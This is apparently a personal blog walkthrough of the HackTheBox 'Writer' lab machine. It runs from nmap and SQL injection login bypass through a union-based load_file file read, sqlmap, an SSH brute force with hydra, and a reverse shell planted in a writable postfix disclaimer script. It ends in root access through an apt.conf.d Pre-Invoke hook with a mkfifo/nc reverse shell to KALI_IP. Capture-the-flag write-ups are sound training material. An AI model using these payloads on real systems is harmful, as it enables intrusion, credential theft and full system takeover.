HackTheBox: Writer | My Journey

Yudistira Arya
6 min readJan 15, 2022



The first thing that i do is enumerating with nmap

nmap -sV -sS -sC -A

It have 4 port open, 22 for ssh, 80 for web server, 139 and 445 for smb.

Because it have port 80 open, so lets do dirctory scan using dirserach

Great, found administrative page

The first thing that i try to do is sql injection

user: ' or 1=1-- -
password: ' or 1=1-- -

And yeah, it vulnerable to sql injecction.
The next thing that i do is dumping the database with sqlmap, it take so long time so lets try to get sql-shell on it.

Copy the POST request from burp, it should be like this.

Then save it to a file, then start to run sqlmap

sqlmap -r post.txt --sql-shell --level=5 --risk=3

Now lets dump the password from the database

select password from users;

trying to crack the hashes using hashcat but it seems uncrackable :(

I tried to read file using sql file but it take very long time (it bruteforcing character) so i decided to try union based injection on admin page to see if it can be used for load file from the machine.

after trying one by one, i founded that the sql have 6 column in login function and it’ll show column number 2(user name) to the page before redirect to the dashboard page.

so my payload similar like this.

' union select 1,load_file("/etc/passwd"),3,4,5,6-- +

It worked well, but because it always be forwarded to dashboard page, so we should intercept the request using burp then send it to burp repeater and voila! (you can use curl too)

Great, now we have found the user “kyle” and “john”.

use this payload to read web default configuration on /etc/apache2/sites-enabled/000-default.conf and get this file.

there was file called writer.wsgi, let’s check that file.

the file talking about __init__.py in the app folder.

from this article https://django-project-skeleton.readthedocs.io/en/latest/structure.html, i knew that __init__.py file located at project/project/__init__.py

i tried to read from /var/www/writer.htb/writer.htb/__init__.py but there’s nothing. Then i looking for other possible directory and found /var/www/writer.htb/writer/ from web configuration file.

yosh, got the password. let’s try to connect samba sharing.

first, let lists all discoverable sharing point.

the writer2_project seems suspicious. lets connect with user and credentials that we have.

and voila. it seems like web backups? let’s download it using get command

after downloading and analyzing the file.. there was nothing helpfull. Might be a rabbit hole? xD


okay, lets use “hard way”. bruteforcing the ssh

sudo hydra -l john -P /usr/share/wordlists/rockyou.txt -t 30 ssh

got the user password now.

what now? of course login to ssh :/

The filter group is suspicious. isn’t it?


i use pspy for monitoring running proccess in the machine.

then search for possible file that owned by group “filter”

disclaimer file look interesting. lets check it out!

after some searching.. i knew that disclaimer file is used for showing disclaimer when there was outgoing email sended. (https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze)

and because we can write to that file.. we can add evil payload like reverse shell to it. Let’s try

btw, the file got replaced in a minute. so i copying that file first then replace it later.

cp /etc/postfix/disclaimer ~/disclaimer
nano ~/disclaimer

then save it.

try to execute the file.

hmh.. after reading about the error code, the /bin/sh didnt support >& syntax. So i decided to change the shebang to /bin/bash.

okay, after the script successfully got executed, now its time for exploiting.

dont forget for port listening in our host machine.

now, we can just replace the /etc/postfix/disclaimer with our modified disclaimer file

cp ~/disclaimer /etc/postfix/disclaimer

and send a mail using netcat

and boom, got shell as john.

now try to get private ssh key and log in with that, so we have a perfect shell right now.


the management group look interesting, lets search for file with that group

great. it meant we can write inside that directory
And after reading for apt.conf.d exploit techniques, i knew that any file inside that directory will be executed when apt update got executed.
And fortunally, we knew that root running apt update from cron (check pspy result again).

from this article, now we have payload to run reverse shell

cd /etc/apt/apt.conf.d/
echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 1221 >/tmp/f"};' > pwn && touch -d "2 days ago" pwn

i use touch -d for changing date of the file so it’ll be deleted by cron(find -mtime on pspy result)

wait for a minute until cron executed apt update and boom!

we get root user right now.


This was a great machine, learn a lot from it especially for monitoring proccess, search appropriate file, and manual sql injection.

Thanks for reading, if you want to reach me, you can send a message to my Telegram Account Here.